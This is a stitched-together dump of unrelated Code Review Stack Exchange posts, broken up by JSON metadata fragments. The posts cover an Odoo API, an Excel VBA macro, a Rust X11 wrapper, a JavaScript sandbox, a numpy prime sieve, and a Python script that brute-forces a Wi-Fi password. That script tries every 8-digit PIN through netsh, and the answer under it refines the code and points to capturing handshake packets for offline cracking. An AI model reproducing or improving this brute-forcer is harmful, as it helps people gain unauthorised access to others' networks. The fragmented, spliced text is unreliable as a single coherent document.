"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "performance, c, converting",
"url": null
} |
python-3.x, odoo
Title: API and logging method creating contacts in database
Question: This is API
def create_log(self, name, params, response, success, path, model, res_id=None):
logger_vals = {'name': f'API Call {name}',
'type': 'server',
'level': 'DEBUG',
'path': path,
'func': 'TEST',
'success_state': success,
'res_model': model,
'line': f'CALL PARAMS: {params}' if params else 'NO CALL PARAMS',
'message': f'RESPONSE: {response}' if response else 'NO RESPONSE'
}
if res_id:
logger_vals['res_id'] = res_id
#This line is creating a logging record in database table ir_logging
self.env['ir.logging'].sudo().create(logger_vals)
@restapi.method([(["/create_contact"], "POST")],
input_param=restapi.CerberusValidator("_validator_create_contact"), auth="public")
def create_contact(self, **params):
"""Create contact"""
self._authentication()
partner_obj = self.env['res.partner'].sudo()
path = '/create_contact'
res_model = 'res.partner'
name = "Create Contact"
try:
if params.get('email'):
#Search is ORM method that selects contanct from res_partner table
partners = partner_obj.search([('email', '=', params['email'])])
if partners:
if any( partner.partner_subtype.is_prepaid for partner in partners):
exist_response = {'response': 'Contact already exists'}
self.create_log(name, params, exist_response, False, path, res_model)
return exist_response | {
"domain": "codereview.stackexchange",
"id": 44157,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python-3.x, odoo",
"url": null
} |
python-3.x, odoo
name = partner_obj._get_sequence_code(code_name='GTIN-13_prepaid', field_name='code')
partner_type = self.env.ref('contact_cgates.partner_type_individual').id
sub_type = self.env['res.partner.subtype'].sudo().search([('is_prepaid', '=', True)])
if not sub_type:
sub_type_response = {'Error': 'Partner sub type not found'}
self.create_log(name, params, sub_type_response, False, path, res_model)
return Response(json.dumps(sub_type_response), status=404)
#Should I create a separate method for vals and creation?
partner_vals = {'first_name': params.get('first_name'),
'last_name': params.get('last_name'),
'name': name,
'code': name,
'partner_type': partner_type,
'partner_subtype': sub_type.id,
'city': params.get('city'),
'email': params.get('email'),
'mobile': params.get('mobile')}
#Create is ORM method to INSERT values to res_partner table
partner = partner_obj.with_context(skip_check=True).create(partner_vals)
response = {'payers_code': partner.code}
self.create_log(name, params, response, True, path, res_model, res_id=partner.id)
return response
except Exception as e:
self.create_log(name, params, e, False, path, res_model)
return Response(json.dumps({'Error': f'{e}'}), status=500)
I have a few questions here.
def create_log has too many parameters, how can we deal with that here?
in def create_contact partner_vals and
partner = partner_obj.with_context(skip_check=True).create(partner_vals)
should be in a separate method?
Overall I feal this whole thing is kinda messy, so I'm open to any suggestions
Answer:
def create_log has too many parameters, how can we deal with that here? | {
"domain": "codereview.stackexchange",
"id": 44157,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python-3.x, odoo",
"url": null
} |
python-3.x, odoo
Answer:
def create_log has too many parameters, how can we deal with that here?
In general, the simplest way of dealing with having too many params is grouping them into structs. Here in your example, path , res_model,name, params are not needed for anything other than logging and yet they are polluting the business function namespace. So what I'd do (pseudocode):
log_ctx = self.create_logger_context(path = '/create_contact', ...)
...
self.create_log(log_ctx, response, True, res_id=partner.id)
This new create_log function could either be a wrapper around your more verbose version or you can just change the signature, depending on whether you need a more verbose version in other parts of the code.
In def create_contact partner_vals and
partner = partner_obj.with_context(skip_check=True).create(partner_vals) should be in a separate method?
If it has a single responsiblity that you can describe in a couple of words, it should be a method. For example, everything under params.get('email'): is a good candidate. If you feel a need to have a comment on a block of the code saying what it is doing(rather than just adding extra information on it), it definitely should be a method.
Overall I feal this whole thing is kinda messy, so I'm open to any suggestions
It could use better modularity and abstraction. For instance, I'd prefer a more well-defined interface instead self.env['res.partner.subtype'].sudo().search([('is_prepaid', '=', True)]) which will make a code more readable and isolate the contact functionality from the details of the sudo stuff which seems like it has nothing to do with.
I know it is python and all, but I'm really not a fan of using hardcoded strings as the pre-defined dictionary keys. You are one typo away from a bunch of very interesting bugs. Or if you do use hardcoded strings, make sure they are isolated somewhere, like in a create method, rather than sprinkled randomly over contacts. | {
"domain": "codereview.stackexchange",
"id": 44157,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python-3.x, odoo",
"url": null
} |
vba, excel, time-limit-exceeded, macros
Title: Code compares Columns "A" of two workbooks and copies different information to destination workbook with entire selected row. LastRow count slows code
Question: Code explanation:
I have a code, which performs two tasks -
To open two workbooks, one being extract info and one destination and it compares the column A with Column A of these workbooks and all matching cells are made vbBlue (Disclaimer:code is made with several other codes from net and with my customisations, id add credit, but I lost the links :().
It sets a range and in the extract file it finds all the vbBlue cells and selects their entire rows, then the selection is pasted into the destination folder.
What is the issue:
Now, funny thing is this code work for me well, but for small amounts of rows, I have a file with 70000 rows and 350000 rows and What I managed to dig up is that the row.count (LastRow function) is making it incredibly slow, now I could manually put my ranges and its holidays right... Well I tried and the part, which does : For i = 2 to LastRow does not do what I thought it would.
So I need assistance in how to make this code faster, because this is the deBugging part, which made me stuck.
Update: Apparently arrays would make this work faster than flash himself, but its out of my scope to arrange them here, I keep getting errors, if ill manage ill update here..
Sub moduleUpdate()
Dim wsSource As Worksheet
Dim wsDest As Worksheet
Dim recRow As Long
Dim lastRow As Long
Dim fCell As Range
Dim i As Long
Dim rCell As Range
Dim LastRows As String
Dim cell As Range
Dim rng As Range
Dim FoundRange As Range
LastRows = ActiveSheet.Cells(Rows.Count, "A").End(xlUp).Row + 1
Set DstFile = Workbooks("ExtractFile.xlsx")
Set wsSource = Workbooks("ExtractFile.xlsx").Worksheets("Sheet1")
Set wsDest = Workbooks("Workbook.xlsx").Worksheets("Sheet1")
Application.ScreenUpdating = False
recRow = 1 | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
vba, excel, time-limit-exceeded, macros
Application.ScreenUpdating = False
recRow = 1
With wsSource
lastRow = .Cells(.Rows.Count, "A").End(xlUp).Row
For i = 2 To lastRow
'See if item is in Master sheet
Set fCell = wsDest.Range("A:A").Find(what:=.Cells(i, "A").Value, LookAt:=xlWhole, MatchCase:=False)
If Not fCell Is Nothing Then
'Record is already in master sheet
recRow = fCell.Row
Else
.Cells(i, "A").Interior.Color = vbBlue
recRow = recRow + 1
End If
Next i
End With
Set rng = Range("A1:A90000")
LastRows = ActiveSheet.Cells(Rows.Count, "A").End(xlUp).Row + 1
For Each cell In rng.Cells
If cell.Interior.Color = vbBlue Then
If FoundRange Is Nothing Then
Set FoundRange = cell
Else
Set FoundRange = Union(FoundRange, cell).EntireRow
End If
End If
Next cell
If Not FoundRange Is Nothing Then FoundRange.Select
Selection.Copy
Workbooks("Workbook.xlsx").Activate
ActiveWorkbook.Sheets("Sheet1").Activate
LastRows = ActiveSheet.Cells(Rows.Count, "A").End(xlUp).Row + 1
Range("A" & LastRows).Select
Workbooks("Workbook.xlsx").Worksheets("Sheet1").PasteSpecial
'If Not FoundRange Is Nothing Then FoundRange.Select
'Clean up
Application.CutCopyMode = False
Application.ScreenUpdating = True
'DstFile.Save
'DstFile.Close
End Sub | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
vba, excel, time-limit-exceeded, macros
End Sub
Answer: Before getting to speed improvements, there are some structural and language best practices to address.
Best Practice: Always declare Option Explicit at the top of the module to ensure all variable used in your code are declared more info here . Make it automatic: in the VBIDE, check the 'Tools -> Options... -> (Editor tab) Require Variable Declaration' option.
Best Practice: If Application flags must be set and reset, use error handling to guarantee that it happens. The current code is structured as:
Sub moduleUpdate()
'{declarations}
'{set workbook/worksheet variables}
Application.ScreenUpdating = False
'{executable code...} <= if an error/exception occurs in any of this code, the 'Clean up' code is not executed
'Clean up
Application.CutCopyMode = False
Application.ScreenUpdating = True
'DstFile.Save
'DstFile.Close
End Sub
Instead, use the On Error Goto XXX statement to guarantee that the 'Clean up' code is executed
Option Explicit
Sub moduleUpdate()
'{declarations}
'{set workbook/worksheet references}
Application.ScreenUpdating = False
On Error Goto Cleanup '<= guarantees that the 'Clean up' code executes
'{executable code...} <= if an error/exception occurs in any of this code, execution jumps to the 'Cleanup:' label
Cleanup:
Application.CutCopyMode = False
Application.ScreenUpdating = True
'DstFile.Save
'DstFile.Close
End Sub | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
vba, excel, time-limit-exceeded, macros
End Sub
Best Practice: Avoid use of ActiveWorkbook and ActiveSheet. Instead, create dedicated variables that hold references to these documents. Using ActiveWorkbook and ActiveSheet may result in unexpected workbook and sheet references. This is an excellent resource regarding not using Select, ActiveSheet, etc.
The code sets up dedicated variables here:
Dim DstFile As Workbook
Set DstFile = Workbooks("ExtractFile.xlsx")
Dim wsSource As Worksheet
Set wsSource = Workbooks("ExtractFile.xlsx").Worksheets("Sheet1")
Dim wsDest as Worksheet
Set wsDest = Workbooks("Workbook.xlsx").Worksheets("Sheet1")
As a new reader of the code, DstFile and wsDest names are confusing since 'Dst' and 'Dest" both look like abbreviation of the word 'destination'. To avoid this situation the code below changes the variable names as follows:
Dim extractWorkbook As Workbook
Set extractWorkbook = Workbooks("ExtractFile.xlsx")
Dim extractWorksheet As Worksheet
Set extractWorksheet = extractWorkbook.Worksheets("Sheet1")
Dim wsDest as Worksheet
Set wsDest = Workbooks("Workbook.xlsx").Worksheets("Sheet1")
The expression:
LastRows = ActiveSheet.Cells(Rows.Count, "A").End(xlUp).Row + 1 | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
vba, excel, time-limit-exceeded, macros
The expression:
LastRows = ActiveSheet.Cells(Rows.Count, "A").End(xlUp).Row + 1
is executed 3 times within the code, but the result LastRow is only used once.
The first time this expression is executed, it is unclear what is the 'ActiveSheet'.
It took some experimenting with fake data files, but it seems that for this code to work, the moduleUpdate must be invoked while "ExtractFile.xlsx" is the active worksheet. Rather than counting on this condition to pre-exist, simply drop the use of ActiveSheet and use variable extractWorksheet.
The second time it is invoked, it is more apparent that ActiveSheet refers to extractWorksheet. Again, it doesn't really matter since this assignment to LastRow is not used - but it is better to explicitly use variable extractWorksheet.
The third time the expression is invoked, wsDest is activated so it is now the 'ActiveSheet':
Selection.Copy '<= copies the selection of the ActiveSheet (extractWorksheet) to the clipboard
Workbooks("Workbook.xlsx").Activate '<= the workbook containing wsDest becomes the 'ActiveWorkbook'
ActiveWorkbook.Sheets("Sheet1").Activate ' <= wsDest is the ActiveSheet
LastRows = ActiveSheet.Cells(Rows.Count, "A").End(xlUp).Row + 1 'last row of the `ActiveSheet (wsDest)
Range("A" & LastRows).Select '<= this is a Range within the 'ActiveSheet (wsDest)
'Now, rather than use 'ActiveSheet' OR wsDest, the paste target is explicitly identified !?
Workbooks("Workbook.xlsx").Worksheets("Sheet1").PasteSpecial | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
vba, excel, time-limit-exceeded, macros
So, certainly the first 2 expression can be deleted. It may not speed up execution, but removing all the implicit references to the ActiveSheet is an improvement to the 3rd use of LastRows.
Using faked data and the original code, the logic seems to copy rows from extractWorksheet to wsDest where a matching value is not found. This behavior does not quite agree with your description, but it makes sense if the goal is to copy 'new' rows from extractWorksheet to wsDest worksheet. So, the remainder of this answer assumes this observation is correct.
One last Best Practice: Within Subroutines and Functions, declare local variables close to their initial use. Makes code easier to read/interpret.
Now...speed
There are two loops in the current code. Each loop iterates presumably thousands of times. So, to speed up execution, the code below employs the suggested best practices and does the following to improve execution speed.
Declare/Initialize objects and reference values from objects once (outside of the loop) as much as possible. These kinds of operations can be an expensive when done thousands of times.
Iterate through the datasets using a single loop instead of two. Evaluate for a match and copy the data if required within the same iteration.
Avoid copy/paste operations using the clipboard
Option Explicit
Sub moduleUpdate()
Dim extractWorkbook As Workbook
Set extractWorkbook = Workbooks("ExtractFile.xlsx")
Dim extractWorksheet As Worksheet
Set extractWorksheet = extractWorkbook.Worksheets("Sheet1")
Dim wsDest As Worksheet
Set wsDest = Workbooks("Workbook.xlsx").Worksheets("Sheet1")
On Error GoTo Cleanup
Application.ScreenUpdating = False
Dim recRow As Long
recRow = 1 | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
vba, excel, time-limit-exceeded, macros
On Error GoTo Cleanup
Application.ScreenUpdating = False
Dim recRow As Long
recRow = 1
With extractWorksheet
Dim lastRow As Long
lastRow = .Cells(.Rows.Count, "A").End(xlUp).Row
'Create the Range object to search with 'Find once...declare and initialize it outside of the loop
Dim wsDestRange As Range
Set wsDestRange = wsDest.Range("A:A")
'Determine where to begin appending rows of data to wsDest worksheet
Dim wsDestNextRowNumber As Long
wsDestNextRowNumber = wsDest.Cells(Rows.Count, "A").End(xlUp).Row + 1
Dim fCell As Range 'this needs a better name, 'fCell" is not descriptive
Dim extractWorksheetCell As Range
Dim rowNum As Long
For rowNum = 2 To lastRow
Set extractWorksheetCell = .Cells(rowNum, "A")
Set fCell = wsDestRange.Find(what:=extractWorksheetCell.Value, LookAt:=xlWhole, MatchCase:=False)
If fCell Is Nothing Then 'Value does not exist in the wsDest worksheet
'Is setting the color really required, or was the color attribute used used as a marker?
extractWorksheetCell.Interior.Color = vbBlue
'Append the entire row's content to the wsDest worksheet
extractWorksheetCell.EntireRow.Copy wsDest.Range("A" & CStr(wsDestNextRowNumber))
wsDestNextRowNumber = wsDestNextRowNumber + 1
End If
Next rowNum
End With
Cleanup:
Application.CutCopyMode = False
Application.ScreenUpdating = True
End Sub
If the above changes do not speed up execution sufficiently, then you may need to investigate manipulations using arrays, collections and dictionaries. Good luck! | {
"domain": "codereview.stackexchange",
"id": 44158,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "vba, excel, time-limit-exceeded, macros",
"url": null
} |
rust, api, x11
Title: Idiomatic Rust API to X11 displays
Question: I am currently implementing a native Rust API to X11, especially around the XDisplay for a related project.
I chose an object-oriented approach:
use crate::util::discard_const_1;
use std::ffi::{c_char, CString};
use x11::xlib::{
self, Window, XActivateScreenSaver, XAddExtension, XAddHost, XAddHosts, XAddToSaveSet,
XDefaultRootWindow, XExtCodes, XHostAddress, XOpenDisplay, XSync,
};
#[cfg(feature = "xfixes")]
use x11::xfixes::XFixesHideCursor;
pub struct Display<'a> {
display: &'a mut xlib::Display,
}
impl<'a> Display<'a> {
pub fn open(name: Option<impl Into<String>>) -> Option<Self> {
match name {
Some(name) => match CString::new(name.into()) {
Ok(name) => Self::open_raw(name.as_ptr()),
Err(_) => None,
},
None => Self::open_raw(&0),
}
}
fn open_raw(display: *const c_char) -> Option<Self> {
unsafe { XOpenDisplay(display).as_mut() }.map(|display| Self { display })
}
pub fn activate_screen_saver(&mut self) {
discard_const_1(
unsafe { XActivateScreenSaver(self.display) },
"XActivateScreenSaver",
)
}
pub fn add_extension(&mut self) -> XExtCodes {
unsafe { *XAddExtension(self.display) }
}
pub fn add_host(&mut self, address: &mut XHostAddress) {
discard_const_1(unsafe { XAddHost(self.display, address) }, "XAddHost")
}
pub fn add_hosts(&mut self, address: &mut XHostAddress, n: i32) {
discard_const_1(unsafe { XAddHosts(self.display, address, n) }, "XAddHosts")
}
pub fn default_root_window(&mut self) -> Window {
unsafe { XDefaultRootWindow(self.display) }
}
pub fn add_to_save_set(&mut self, window: Window) {
discard_const_1(
unsafe { XAddToSaveSet(self.display, window) },
"XAddToSaveSet",
)
} | {
"domain": "codereview.stackexchange",
"id": 44159,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "rust, api, x11",
"url": null
} |
rust, api, x11
// TODO: implement all xlib functions that take a display as first argument as methods.
pub fn sync(&mut self, discard: bool) {
discard_const_1(unsafe { XSync(self.display, discard as i32) }, "XSync")
}
}
#[cfg(feature = "xfixes")]
impl<'a> Display<'a> {
pub fn hide_cursor(&mut self, window: Window) {
unsafe { XFixesHideCursor(self.display, window) }
}
}
Many of the X* functions always return 1, which the caller does not need.
Therefore I chose to return () from my functions in this case instead.
In order to not write the same code all over again, I implemented the following function:
#[inline]
pub(crate) fn discard_const_1(retval: i32, name: &str) {
match retval {
1 => (),
_ => unreachable!("{} always returns 1.", name),
}
}
Is this a good / acceptable solution? I am still pretty new to Rust and somehow managed to avoid writing macros up until now, but I have a gut feeling, that a macro might do a better job, than an inline function in my use case.
Is there a better way to convert from the constant 1s to () in my library functions?
NB: The implementation of the API does not yet cover all of xlib's functionality, but the API works and is being used by a program.
Answer: pub struct Display<'a> {
display: &'a mut xlib::Display,
}
This bit is problematic. A borrow makes sense if your struct is holding references to data which is borrowed from somewhere else. But that's not what's going on. It seems rather that your Display struct owns the pointer to xlib::Display. You should really hold a raw pointer not a reference.
You might want to use std::ptr::NonNull to signal that the pointer is not null. Additionally, you should implement a drop function to call XCloseDisplay when your struct is dropped.
pub fn open(name: Option<impl Into<String>>) -> Option<Self> { | {
"domain": "codereview.stackexchange",
"id": 44159,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "rust, api, x11",
"url": null
} |
rust, api, x11
If I understand correctly, if you get NULL back from XOpenDisplay its an error. This function should probably return a Result to indicate that failure is an error.
#[inline]
pub(crate) fn discard_const_1(retval: i32, name: &str) {
match retval {
1 => (),
_ => unreachable!("{} always returns 1.", name),
}
}
The other response suggest that you should return Result for errors instead of panicing. Generally speaking, I'd agree with them. However, it seems that xlib doesn't provide useful error handling mechanics. Most errors will come back asynchronously and by default will terminate the application. In light of that, I think panicing isn't a bad strategy.
However I'd:
Call it something like check_status
Check for 0, since the documentation states that errors return 0
Use a generic panic, not unreachable. Its panicing because it got an error, not because its unreachable
Not put the name in the error message. This complicates all your calls because you have to pass the name, and it should very rarely matter (since these functions don't practically return errors). And if you need to know where the error comes from, you want to look at a stack trace anyways which will tell you. | {
"domain": "codereview.stackexchange",
"id": 44159,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "rust, api, x11",
"url": null
} |
javascript, sandbox
Title: Is this a watertight javascript sandbox?
Question: I am making a sandbox environment for javascript. For this I create a webworker with this function:
(self is a webworkers global context)
(() => {
Function("\"use strict\";\nlet self,fetch,globalThis;(async()=>{try{"+arbitrary_code+"}}catch{})").apply({});
return;
})();
With this, people are only able to use vanilla javascript with no access to any browser api's. Is there any way to defeat this sandbox, is it secure enough?
Answer: If you want to do something similar to online JavaScript sandboxes, where arbitrary code be executed while limiting the damage that code can cause, what you do is run the code in/from an isolated page inside a frame on a different domain. Doing it this way lets you take advantage of several safeguards that browsers come built-in:
iframes have attributes that let you lock down what the page inside have access to (see sandbox and referrerpolicy).
iframes are bound to the Same-Origin Policy, preventing the framed content from a different domain from reaching into the embedding page.
You can set Content Security Policy rules to limit what the parent and the framed page can do (e.g. prevent the embedded page from being embedded elsewhere, prevent parent page from embedding a page from somewhere else).
Because the page is on a frame in a different domain, it's considered a third-party context and built-in browser protections like partitioned storage APIs kick in.
This does mean your page's domain is different from the frame's domain, and that your code would have to be transported between domains (e.g. store the arbitrary code in a shared DB for the sandboxed domain to fetch and render).
And as mentioned by KIKO Software, this doesn't prevent any other security issue outside of this scope (e.g. browser exploits, social engineering, security flaws on the embedding page, malicious extensions, etc.). | {
"domain": "codereview.stackexchange",
"id": 44160,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "javascript, sandbox",
"url": null
} |
python, networking
Title: Brute-force cracking a wireless network password
Question: I am working on my first brute force experiment and I modified code from this SO post but it is kinda slow. Are there any improvements I can make to make it run faster?
What the code basically does is loop through a range of possible 8 numerical combinations and input every possibility to try and connect to a Wi-Fi network and check if the password worked. Is there any way I can optimize it?
from itertools import product
import re
import os
import subprocess | {
"domain": "codereview.stackexchange",
"id": 44161,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, networking",
"url": null
} |
python, networking
# function to establish a new connection
def createNewConnection(name, SSID, password):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+password+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
os.system(command)
# function to connect to a network
def connect(name, SSID):
command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
os.system(command)
# function to display avavilabe Wifi networks
def displayAvailableNetworks():
command = "netsh wlan show networks interface=Wi-Fi"
os.system(command)
displayAvailableNetworks()
name = input("Name of Wi-Fi: ")
def raid():
chars = '0123456789' | {
"domain": "codereview.stackexchange",
"id": 44161,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, networking",
"url": null
} |
python, networking
displayAvailableNetworks()
name = input("Name of Wi-Fi: ")
def raid():
chars = '0123456789'
for length in range(8, 9):
to_attempt = product(chars, repeat=length)
for attempt in to_attempt:
print(''.join(attempt))
createNewConnection(name, name, ''.join(attempt))
connect(name, name)
try:
if re.sub(' +', ' ', subprocess.check_output("Netsh WLAN show interfaces").decode('utf-8').split("SSID",1)[1].split("BSSID")[0].replace(':', '').replace('\n', '')) == name:
print('connected to: ' + name)
print('The wifi password is: ' + ''.join(attempt))
break
except Exception:
print('Not connected')
raid()
Answer: String Formatting
You use a ton of string concatenation. Use f-strings if you are on python 3.6+:
config = f"""<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>{name}</name>
<SSIDConfig>
<SSID>
<name>{SSID}</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>{password}</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>""" | {
"domain": "codereview.stackexchange",
"id": 44161,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, networking",
"url": null
} |
python, networking
with open(f"{name}.xml", 'w') as file:
os.system vs. subprocess
subprocess is much more flexible than os.system. It has a run method for simple shell commands, but if you need control over the creation of a brand new shell process, Popen is extremely useful. The easiest way to replace your os.system calls is with the equivalent subprocess.call method:
# this
def connect(name, SSID):
command = f'netsh wlan connect name="{name}" ssid="{SSID}" interface=Wi-Fi'
os.system(command)
# becomes this
def connect(name, SSID):
# I've also replaced the double quotes to avoid escaping
command = f'netsh wlan connect name="{name}" ssid="{SSID}" interface=Wi-Fi'
_ = subprocess.call(command, shell=True)
Naming
Function names, like variable names, should be snake_case:
# this
displayAvailableNetworks
# should be this
display_available_networks
Long Lines
I hope to never have to maintain a single line like this:
if re.sub(' +', ' ', subprocess.check_output("Netsh WLAN show interfaces").decode('utf-8').split("SSID",1)[1].split("BSSID")[0].replace(':', '').replace('\n', '')) == name:
Let's break it up.
_, ssid = (
subprocess
.check_output("Netsh WLAN show interfaces")
.decode('utf-8')
.split("SSID",1)
)
bssid, _ = ssid.split("BSSID", 1)
network_name = re.sub(
' +',
' ',
bssid.replace(':', '').replace('\n', '')
)
if network_name == name:
# rest of code
The makes it easier to read what's going on.
Why is it slow?
Because you are doing a ton of attempts to connect to a wifi router. Just running the following code:
python -m timeit -s 'from string import digits; from itertools import product' 'sum(1 for _ in product(digits, repeat=8))'
Results in
1 loop, best of 5: 3.68 sec per loop | {
"domain": "codereview.stackexchange",
"id": 44161,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, networking",
"url": null
} |
python, networking
Results in
1 loop, best of 5: 3.68 sec per loop
Or ~22s total. And that's the shorter set of permutations with no network calls. No matter how we improve the time spent concatenating strings or generating permutations, you are generating ~1,000,000,000 network calls worst-case. That is going to take a long time. For reference, 1 billion seconds is nearly 32 years.
If you really want to crack a password, the best way is to capture an authentication or handshake packet from a connecting device. This way, you are comparing generated passwords with that local packet. This eliminates the network call requirement, vastly increasing speed. There are plenty of tools and tutorials for this elsewhere, so I won't write one here.
Since the code originates from this question, check the answers there. | {
"domain": "codereview.stackexchange",
"id": 44161,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, networking",
"url": null
} |
python, performance, python-3.x, primes
Title: Numpy segmented Sieve Of Eratosthenes | {
"domain": "codereview.stackexchange",
"id": 44162,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
Question: For the segmented Sieve Of Eratosthenes, I have devised the following code provided. And I understand that it is not the best implementation; However, it should be much quicker than what it is now. The c Profile provides numerous results. However, it only defines built-in methods and gives no further context as to which built-in method is taking up the most time.
I wish to optimize this sieve to the maximum possible performance capable through python.
Which numpy built-in method is making my program slower?
import numpy as np
import math
import cProfile
def generateprimes(n: int = 0) -> list:#simple sieve of Eratosthenes to find primes that make up
#all factors of the upper bound.
Primelist = np.full((1,int(math.sqrt(n) )),1, dtype='int8')
Primelist[0,0], Primelist[0,1] = 0,0
for i in range(2,int(math.sqrt(math.sqrt(n))) + 1):
if Primelist[0,i] == 1:
for x in range (i*i,int(math.sqrt(n) ),i):
Primelist[0,x] = 0
indices = np.where(Primelist == 1)[1]
return indices
#unique, counts = np.unique(Primelist, return_counts=True)
#dict(zip(unique, counts))
#return [b for b in range(int(math.sqrt(n))) if Primelist[0,b] == 1]
def SegmentedSieve(R: int, L:int, Primes: tuple) -> tuple:
Finalprime = np.empty((0,1), dtype = 'int32')
limit = (R//L) # Total amount of segments
Finalprime = np.append(Finalprime, Primes)
for x in range(1, limit):
Low = (L * x)
High = Low + L
Segment = np.full((1,High-Low),1,dtype='int8') #creates a segment that is the size of the differences between L and R
NewPrimes = np.extract(Primes <= int(math.sqrt(High)),Primes) # Only taking the primes that are less than the square root of the upperbound.
#i.e the limit of the current segment
for p in NewPrimes:
s = ((int(math.ceil(Low / p))) * p) % Low # Finds the position of the first occurrence of the prime in the | {
"domain": "codereview.stackexchange",
"id": 44162,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
# newest lowest bound or Low
for i in range(s,L,p): # starts at the position found and skips every p distance. The upperbound is the
#amount of elements in each segment.
Segment[0, i] = 0
indices = np.where(Segment == 1)[1] + Low
Finalprime = np.append(Finalprime, indices)
continue
return Finalprime | {
"domain": "codereview.stackexchange",
"id": 44162,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
